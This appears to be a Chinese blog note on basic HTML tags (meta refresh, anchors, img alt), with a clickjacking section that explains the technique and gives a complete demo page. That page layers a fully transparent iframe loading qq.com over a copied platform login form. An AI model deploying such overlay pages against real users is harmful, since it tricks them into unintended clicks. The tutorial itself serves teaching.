HTML标签知识点
<meta http-equiv="refresh" content="3;url=http://www.baidu.com" /> #三秒后重定向到百度
<a href="#">回到顶部</a> #回到网页顶部
<a href="#1">去id等于1的标签位置</a> #去id等于1的标签位置
<a href="javascipt:;">这是一个超链接</a> #点它什么也不会发生
<img src="images/懒羊羊.png" alt="懒羊羊"/> #img标签属于替换元素（介于块和行内元素之间，具有两种元素的特点）alt 图片描述，默认不显示，有些浏览器在图片加载失败时显示。有alt属性的图片搜索引擎会收录
点击劫持
原理：利用iframe标签加载新的页面覆盖在真实页面的上层，并将透明度设置为0
代码如下
<!DOCTYPE html>
<html lang="zh" manifest="/manifest/fbi.manifest">
<head>
<link rel="icon" href="/images/ico/Z.ico" type="image/x-icon" />
<meta charset="UTF-8">
<title>登录页</title>
<link rel="stylesheet" href="/css/fea_icon.css">
<link href="https://192.168.1.110/libs/animate.min.css" rel="stylesheet" type="text/css" />
<link rel="stylesheet" href="https://192.168.1.110/fbi/css/newlogin.css">
<link rel="stylesheet" type="text/css" href="css/newlogin.css">
<script src="https://192.168.1.110/libs/jquery2.min.js" type="text/javascript"></script>
<script type="text/javascript" src="https://192.168.1.110/libs/cookie/jquery.cookie.js"></script>
<style>
html,body,iframe{
display: block;
height: 100%;
width: 100%;
margin: 0;
padding: 0;
border:none;
}
iframe{
opacity:0;
filter:alpha(opacity=0);
z-index:3;
position: relative;
}
</style>
</head>
<body class="login" body-name="login">
<iframe src="https://www.qq.com"></iframe>
<div id="a" class="logbox" style="z-index: 1;">
<div class="title">
<div class="til_left">
<img src="https://192.168.1.110/images/login_img/logo2.png" alt="">
</div>
<div class="til_right">
<p>大数据智能开发平台</p>
<p>FastBestIntelligent</p>
</div>
</div>
<div class="boxinside">
<p><input id="name" type="" placeholder="请输入账号" name=""><i class="user f_icon F471"></i></p>
<p><input id="password" type="password" placeholder="请输入密码" name=""><i class="key f_icon F470"></i></p>
<button class="logbtn" id="logbtn">登录</button>
</div>
</div>
<script src="https://192.168.1.110/js/basics.js"></script>
<script src="https://192.168.1.110/fbi/js/login.js"></script>
</body>
浙公网安备 33010602011771号